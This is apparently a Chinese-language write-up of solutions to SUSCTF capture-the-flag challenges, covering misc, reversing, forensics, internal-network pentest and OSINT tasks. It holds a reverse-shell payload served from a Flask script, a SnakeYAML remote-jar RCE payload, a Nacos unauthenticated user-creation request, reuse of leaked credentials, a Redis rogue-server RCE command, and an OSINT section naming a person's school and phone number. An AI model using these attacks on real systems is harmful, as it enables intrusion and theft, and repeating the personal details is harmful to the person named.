嘻嘻
Misc
Questionnaire
直接填,最后抽奖里面才有flag
curlbash
非预期
随机数可以取到0,直接反复连接爆破就好了,自己vps上部署一个反弹shell的脚本一直等就好
from pwn import *
import requests
while 1:
r = remote('106.14.191.23', 51240)
r.recvuntil("Your script: ")
r.sendline('http://xx.xx.xx.xx:xxxx/1.txt')
if ("[Round 0 CURLBASH]" in r.recvline().decode()):
break
r.close()
curlbash-revenge
依旧非预期
手动测了一会发现随机数相对比较大了,继续爆破,设置目标随机数为10,运气不错一会就等到了
vps上部署这个
from flask import Flask, request
app = Flask(__name__)
global num
num = 0
@app.route("/")
def index():
global num
ua = request.headers.get("User-Agent", "")
if ua.startswith("python-requests"):
return "echo hello"
else:
print(ua)
if (num < 10):
num += 1
return "echo hello"
if (num == 10):
print("end")
return 'bash -c "bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1"'
@app.route("/reset")
def reset():
global num
num = 0
return "reset done"
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8080)
本地一直连就好了,如果随机数大于10则断开并请求/reset重置计数器
from pwn import *
import requests
while 1:
r = remote('106.14.191.23', 51240)
r.recvuntil("Your script: ")
r.sendline('http://xx.xx.xx.xx:xxxx')
for _ in range(10):
r.recvline()
r.recvline()
res = r.recvline().decode()
print(res)
if (res[:10] == "[Round 10]"):
r.close()
requests.get("http://xx.xx.xx.xx:xxxx/reset")
print("Reset completed")
else:
r.interactive()
easyjail
vps上部署这个即可
env -i cat /flag
eat-mian
用##拼接字符绕过检查即可
#define eat i##n##t
#define mian m##a##i##n
#define preatf p##r##i##n##t##f
mosaic
观察发现两个png都是apng格式,flag有225帧,noflag则有226帧,并且noflag只有第一张是清晰的
用这个脚本先分离出所有png图片
import os
from PIL import Image
import argparse
def extract_apng_frames_pillow(input_file, output_dir=None):
"""
使用Pillow库提取APNG帧
"""
try:
# 打开APNG文件
with Image.open(input_file) as img:
print(f"APNG信息: 格式={img.format}, 模式={img.mode}, 帧数={img.n_frames}")
# 创建输出目录
if output_dir is None:
output_dir = os.path.splitext(input_file)[0] + "_frames"
os.makedirs(output_dir, exist_ok=True)
# 提取每一帧
for frame in range(img.n_frames):
img.seek(frame)
# 保存帧
output_path = os.path.join(
output_dir, f"frame_{frame:03d}.png")
img.save(output_path, "PNG")
print(f"已保存: {output_path}")
print(f"成功提取 {img.n_frames} 帧到目录: {output_dir}")
except Exception as e:
print(f"错误: {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='提取APNG文件的所有帧')
parser.add_argument('input_file', help='输入的APNG文件路径')
parser.add_argument('-o', '--output', help='输出目录路径')
args = parser.parse_args()
extract_apng_frames_pillow(args.input_file, args.output)
关于马赛克方面,放大观察发现每一个色块都是15x15的,并且会移动,所以根据规律盲猜马赛克算法是15x15rgb取平均值,并且左上角像素会依照先左右后上下的规律移动,于是就可以想到如果按照先左右后上下的方式扫描所有像素,直到flag和noflag在这个15x15上出现差异就知道了当前15x15内右下角的像素是水印像素,并且根据原图还可以知道这个水印像素的rgb值,就这样就可以恢复全图,但是我写的脚本似乎有问题恢复不对,最终选择与原图比较,并且随便处理了一下误差,也基本恢复了水印
from PIL import Image
from tqdm import trange
import numpy as np
def get_avg_flag(image, x, y):
return np.array(image.getpixel((x, y)))
def get_avg_noflag(image, x, y):
chunk = image.crop((x, y, x+15, y+15))
pixels = np.array(chunk)
return np.array([np.round(np.sum(pixels[:, :, 0])/225), np.round(np.sum(pixels[:, :, 1])/225), np.round(np.sum(pixels[:, :, 2])/225)])
# imgout = Image.new('RGB', (972, 601))
pixel_diff = np.zeros((601, 972, 3), dtype=int)
oriimg = Image.open('./noflag/frame_000.png')
oriimg2 = Image.open('./noflag/frame_000.png')
for y in trange(146, 225):
for x in range(972 - 14):
frame = (x % 15)*15 + (y % 15)
imgflag = Image.open(f'./flag/frame_{frame:03}.png')
# imgnoflag = Image.open(f'./noflag/frame_{(frame+1):03}.png')
flagnum = get_avg_flag(imgflag, x, y)
noflagnum = get_avg_noflag(oriimg, x, y)
if (flagnum != noflagnum).any():
diff = np.array(flagnum - noflagnum, dtype=int)
ori_col = oriimg.getpixel((x+14, y+14))
oriimg.putpixel(
(x+14, y+14), (ori_col[0]+diff[0]*225, ori_col[1]+diff[1]*225, ori_col[2]+diff[2]*225))
for d in range(3):
if (diff[d] > 1):
diff[d] = 1
elif (diff[d] < -1):
diff[d] = -1
oriimg2.putpixel(
(x+14, y+14), (ori_col[0]+diff[0]*225, ori_col[1]+diff[1]*225, ori_col[2]+diff[2]*225))
oriimg2.save('out1.png')
这个脚本恢复出来长这样
根据flag的hash值,简单爆破一下即可
import hashlib
flag = "susctf{91d1650f-507b-45c7-996e-733517dd7979}"
target_sha256 = "75ac06efd32a7c4136204bb552d2ee82416a3843f505a3f6cc61508639297024"
alterna_7th = "023689"
alterna_13th = "023689"
alterna_17th = "023689"
alterna_23th = "ace"
alterna_27th = "023689"
alterna_29th = "ace"
alterna_40th = "023689"
alterna_42th = "023689"
def sha256(s):
return hashlib.sha256(s.encode()).hexdigest()
for a in alterna_7th:
for b in alterna_13th:
for c in alterna_17th:
for d in alterna_27th:
for e in alterna_40th:
for f in alterna_23th:
for g in alterna_29th:
for h in alterna_42th:
candidate = f"susctf{{{a}4d165{b}f-5{c}7b-45{f}7-9{d}6{g}-733517dd7{e}7{h}}}"
if sha256(candidate) == target_sha256:
print("Found flag:", candidate)
break
最终flag
Found flag: susctf{84d1650f-597b-45c7-926e-733517dd7079}
pcap
binwalk一下发现有一个zip,流量里搜索504b0304找到在流393里,提取出来里面有一个task.pcap,rtp协议,观察他的data格式发现是udp的data里又套了一个ip数据包,这个ip数据包里面才是rtp协议的数据,于是全部提取出来
tshark -r task.pcap -Y "udp.srcport==50920 and udp.dstport==1234" -T fields -e data.data | sed 's/://g' > 1.txt
再写脚本提取rtp数据
f = open("1.txt", "r").readlines()
cnt = 0
data = ""
with open("rtp_data.txt", "w") as out:
for i in f:
if (cnt == 0):
data = bytes.fromhex(i.strip())[50:]
cnt += 1
else:
data += bytes.fromhex(i.strip())[42:]
cnt = 0
out.write(data.hex() + "\n")
然后试着重放了一下没成功,于是直接提取纯净音频数据
f = open("rtp_data.txt", "r").readlines()
with open("audio.pcmu", "wb") as f2:
for line in f:
data = bytes.fromhex(line.strip()[24:])
f2.write(data)
然后直接ffmpeg转成wav
ffmpeg -f mulaw -ar 48000 -ac 1 -i audio.pcmu out.wav
听起来是某种信号,开头和结尾各有几下响声应该标记着开始和结束
这时又想起来task.pcap尾部还有几条关于noaa_stream的流量,搜索发现noaa还真是一种信号,github上找了个解析
先resample.py再apt.py即可获取flag图片
signin
找了个ai2svg的网站,转出来发现里面有很多base64格式的png图片,全提取出来就能找到susctf的那张
Reverse
ezsignin
idamcp伟大无需多言,直接给我做出来了
这是ai给的脚本
#!/usr/bin/env python3
# 从IDA分析中提取的数据
import base64
binary_string = "E1110000010000010001110001000001111O"
base64_alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
base58_alphabet = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"
encrypted_data = bytes([
0x32, 0x77, 0x48, 0x46, 0x77, 0x36, 0x58, 0x52, 0x51, 0x46, 0x4a, 0x65, 0x78, 0x77, 0x59, 0x63,
0x69, 0x7a, 0x57, 0x46, 0x4a, 0x56, 0x55, 0x38, 0x37, 0x47, 0x6e, 0x50, 0x50, 0x62, 0x75, 0x52,
0x5a, 0x46, 0x39, 0x39, 0x74, 0x38, 0x38, 0x38, 0x34, 0x53, 0x78, 0x54, 0x65, 0x52, 0x70, 0x74,
0x67, 0x76, 0x41, 0x6d, 0x66, 0x7a, 0x64, 0x71, 0x6d, 0x45, 0x39, 0x73, 0x6b, 0x43, 0x53, 0x52,
0x62, 0x45, 0x4d, 0x55, 0x63, 0x38, 0x72, 0x35, 0x57, 0x63, 0x47, 0x51, 0x34, 0x61, 0x71, 0x38,
0x67, 0x4a, 0x51, 0x32, 0x66, 0x70, 0x55, 0x51, 0x67, 0x69, 0x69, 0x4e, 0x76, 0x6b, 0x45, 0x51,
0x58, 0x4c, 0x34, 0x47, 0x6f, 0x51, 0x35, 0x72, 0x42, 0x5a, 0x66, 0x65, 0x6a, 0x59, 0x46, 0x74,
0x45, 0x70, 0x54, 0x41, 0x35, 0x78, 0x31, 0x6b, 0x79, 0x62, 0x74, 0x65, 0x6e, 0x65, 0x41, 0x75,
0x45, 0x43, 0x71, 0x70, 0x33, 0x75, 0x4c, 0x43, 0x44, 0x6e, 0x75, 0x55, 0x34, 0x47, 0x77, 0x44,
0x31, 0x6b, 0x4b, 0x65, 0x74, 0x38, 0x42, 0x6d, 0x71, 0x62, 0x34, 0x65, 0x69, 0x64, 0x50, 0x57,
0x45, 0x63, 0x72, 0x36, 0x62, 0x53, 0x4e, 0x4e, 0x55, 0x33, 0x77, 0x72, 0x35, 0x78, 0x78, 0x74,
0x48, 0x70, 0x63, 0x34, 0x33, 0x54, 0x79, 0x48, 0x4d, 0x53, 0x4b, 0x67, 0x67, 0x42, 0x52, 0x5a,
0x72, 0x50, 0x6c, 0x65, 0x61, 0x73, 0x65, 0x20, 0x65, 0x6e, 0x74, 0x65, 0x72, 0x20, 0x74, 0x68,
0x65, 0x20, 0x73, 0x74, 0x65, 0x70, 0x73, 0x3a, 0x20, 0x0
])
print("=== Crackme Analysis ===")
print(f"Binary string: {binary_string}")
print(f"Base64 alphabet: {base64_alphabet}")
print(f"Base58 alphabet: {base58_alphabet}")
print(f"Encrypted data length: {len(encrypted_data)} bytes")
print(f"Encrypted data (hex): {encrypted_data.hex()}")
print(
f"Encrypted data (string): {encrypted_data.decode('ascii', errors='ignore')}")
# 分析二进制字符串
print("\n=== Binary String Analysis ===")
# 移除首尾的E和O字符,它们可能是分隔符
binary_data = binary_string[1:-1] # 移除E和O
print(f"Binary data: {binary_data}")
print(f"Binary length: {len(binary_data)} bits")
# 尝试将二进制转换为ASCII
try:
# 将二进制字符串分组为8位字节
binary_bytes = [binary_data[i:i+8] for i in range(0, len(binary_data), 8)]
ascii_result = ''.join([chr(int(byte, 2))
for byte in binary_bytes if len(byte) == 8])
print(f"Binary to ASCII: {ascii_result}")
except:
print("Binary to ASCII conversion failed")
# 尝试XOR解密
print("\n=== XOR Decryption Attempts ===")
# 尝试使用0x66作为密钥(从函数分析中得知)
xor_key_0x66 = bytes([b ^ 0x66 for b in encrypted_data])
print(f"XOR with 0x66: {xor_key_0x66.decode('ascii', errors='ignore')}")
# 尝试使用"YourKey"作为密钥
yourkey = b"YourKey"
xor_key_yourkey = bytes([encrypted_data[i] ^ yourkey[i % len(yourkey)]
for i in range(len(encrypted_data))])
print(
f"XOR with 'YourKey': {xor_key_yourkey.decode('ascii', errors='ignore')}")
# 尝试Base64解码
print("\n=== Base64 Decoding ===")
try:
base64_decoded = base64.b64decode(encrypted_data)
print(f"Base64 decoded: {base64_decoded}")
except:
print("Base64 decoding failed")
# 尝试Base58解码
print("\n=== Base58 Decoding ===")
def base58_decode(s, alphabet=base58_alphabet):
result = 0
for char in s:
result = result * 58 + alphabet.index(char)
return result
try:
# 只尝试解码看起来像Base58的部分
base58_part = encrypted_data[:50].decode('ascii', errors='ignore')
if all(c in base58_alphabet for c in base58_part):
base58_decoded = base58_decode(base58_part)
print(f"Base58 decoded (first part): {base58_decoded}")
else:
print("Data doesn't appear to be Base58 encoded")
except Exception as e:
print(f"Base58 decoding failed: {e}")
这个脚本没有获得flag,但是我看了下ai思考的过程,拿里面的Encrypted data (string)解了几次base58再xor了0x66就做出来了
Forensics
juicyfs
先简单改了一下jfs_setting就可以正常挂载和开webdav了
{"Name": "juicyfs", "UUID": "00000000-0000-0000-0000-000000000000", "Storage": "sqlite3", "Bucket": "/Users/zysgmzb/Desktop/SUSCTF/juicefs/juicyfs.db", "BlockSize": 1024, "Compression": "lz4", "EncryptAlgo": "aes256gcm-rsa", "TrashDays": 0, "MetaVersion": 1, "MinClientVersion": "0.0.0", "EnableACL": false}
然后观察了一下jfs_edge里所有文件的名称,发现了这两个
vidvtvbvfdqc will place the flag here...
ruoxkzseoper have placed the flag here...
inode分别为3323和3325,再去jfs_node里查看,发现中间还有个3324,并且这三个文件的parent都是一个不存在的inode为3的地方,相当于被隐藏了,再根据will和have的时态,猜测flag就是这个inode为3324的文件,于是直接把jfs_edge里面inode为3323的改成了3324,parent改成了2,再开个webdav就可以获取到3324这个文件了
juicefs webdav sqlite3://juicyfs.db 0.0.0.0:8080
wget http://localhost:8080/are%20these%20flags/vidvtvbvfdqc%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20will%20place%20the%20flag%20here...
一开始以为套了个逆向让idamcp看了半天,结果运行就出flag了
susctf{yOu_Ar3_ju1cef$_mAs7er!!1}
Pentest
pen4ruo1-1
弱口令ruoyi:admin123进后台,计划任务rce,用h\x74tp可以绕,这个payload只能新建计划任务的时候成功,后面再修改会提示有错误
直接照着这篇博客做一遍
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["h\x74tp://xx.xx.xx.xx:xxxx/yaml-payload.jar"]]]]')
flag在根目录
pen4ruo1-2
内网
./fscan -h 172.31.11.0/24
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.2
start infoscan
(icmp) Target 172.31.11.1 is alive
(icmp) Target 172.31.11.2 is alive
(icmp) Target 172.31.11.3 is alive
(icmp) Target 172.31.11.4 is alive
(icmp) Target 172.31.11.5 is alive
(icmp) Target 172.31.11.6 is alive
(icmp) Target 172.31.11.7 is alive
(icmp) Target 172.31.11.8 is alive
(icmp) Target 172.31.11.9 is alive
(icmp) Target 172.31.11.10 is alive
[*] Icmp alive hosts len is: 10
172.31.11.1:80 open
172.31.11.1:7890 open
172.31.11.8:80 open
172.31.11.1:8080 open
172.31.11.2:6379 open
172.31.11.3:9001 open
172.31.11.5:8848 open
172.31.11.3:9000 open
172.31.11.6:8080 open
172.31.11.1:10250 open
172.31.11.1:22 open
172.31.11.4:3306 open
172.31.11.10:9200 open
172.31.11.1:443 open
[*] alive ports len is: 14
start vulscan
[*] WebTitle: http://172.31.11.8 code:200 len:12316 title:企业管理平台
[*] WebTitle: http://172.31.11.1 code:404 len:0 title:None
[*] WebTitle: http://172.31.11.3:9001 code:200 len:1309 title:MinIO Console
[*] WebTitle: http://172.31.11.1:8080 code:400 len:0 title:None
[*] WebTitle: http://172.31.11.1:7890 code:400 len:0 title:None
[*] WebTitle: http://172.31.11.3:9000 code:307 len:59 title:None 跳转url: http://172.31.11.3:9001
[*] WebTitle: http://172.31.11.3:9001 code:200 len:1309 title:MinIO Console
[*] WebTitle: https://172.31.11.1:10250 code:404 len:19 title:None
[*] WebTitle: http://172.31.11.6:8080 code:200 len:34 title:None
[*] WebTitle: http://172.31.11.5:8848 code:404 len:431 title:HTTP Status 404 – Not Found
[*] WebTitle: http://172.31.11.10:9200 code:404 len:275 title:None
[+] http://172.31.11.5:8848 poc-yaml-alibaba-nacos
[+] http://172.31.11.6:8080 poc-yaml-springboot-env-unauth spring2
[+] http://172.31.11.6:8080 poc-yaml-spring-actuator-heapdump-file
[+] http://172.31.11.10:9200 poc-yaml-spring-actuator-heapdump-file
[+] http://172.31.11.10:9200 poc-yaml-springboot-env-unauth spring2
已完成 15/15
[*] 扫描结束,耗时: 18.698395244s
有个nacos可以未授权添加用户
curl -X POST 'http://172.31.11.5:8848/nacos/v1/auth/users?username=zysgmzb&password=zysgmzb' -H 'User-Agent: Nacos-Server'
里面有一堆配置文件
datasource:
# 主库数据源
master:
driver-class-name: com.mysql.cj.jdbc.Driver
url: jdbc:mysql://ruoyi-mysql:3306/ry_cloud?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8
username: root
password: susctf@2025!@#(mysql)
spring:
redis:
host: ruoyi-redis
port: 6379
password: susctf@2025!@#(redis)
# Minio配置
minio:
url: http://ruoyi-minio:9000
accessKey: sus
secretKey: susctf@2025-minio
bucketName: susctf
拿着这个挂代理去连mysql
proxychains4 -f /etc/proxychains4.conf mysql -h ruoyi-mysql -u root -p
flag在ry_cloud里
pen4ruo1-3
用accesskey作为用户名,secretkey作为密码登录minio,发现susctf下有10000个文件,要找里面的flag,问了下ai可以用mc
然后就可以全下到本地
proxychains4 -f /etc/proxychains4.conf ./mc alias set susctf http://172.31.11.4:9000 sus susctf@2025-mini
proxychains4 -f /etc/proxychains4.conf ./mc cp --recursive susctf/susctf/ ./flags/
直接strings * | grep susctf就行
susctf{flag3_c0n9raTuLAt10n4U_f1nD_fLA9_fa083f44248a}
pen4ruo1-4
在pen4ruo1-2里fscan扫出来两个actuator泄露,其中一个的env里面就有flag
susctf{flag4_WOoOoO_94t3w4y_f14d9c1e9121}
pen4ruo1-5
pen4ruo1-2里还看到一个redis,配合nacos里的redis密码成功连接后,工具直接打打主从rce
发现内网的机器是通外网的,于是在vps上直接打就行
proxychains4 python3 redis-rogue-server.py --rhost=ruoyi-redis --passwd='susctf@2025!@#(redis)' --lhost=xx.xx.xx.xx --lport=xxxx
OSINT
spy
google搜索图片发现reddit上一条关于spy.net的帖子,搜索spy.net可以发现这个人
然后他的facebook里有他的高中
Conway Senior High School
电话的话就直接搜名字挨个试
4084808671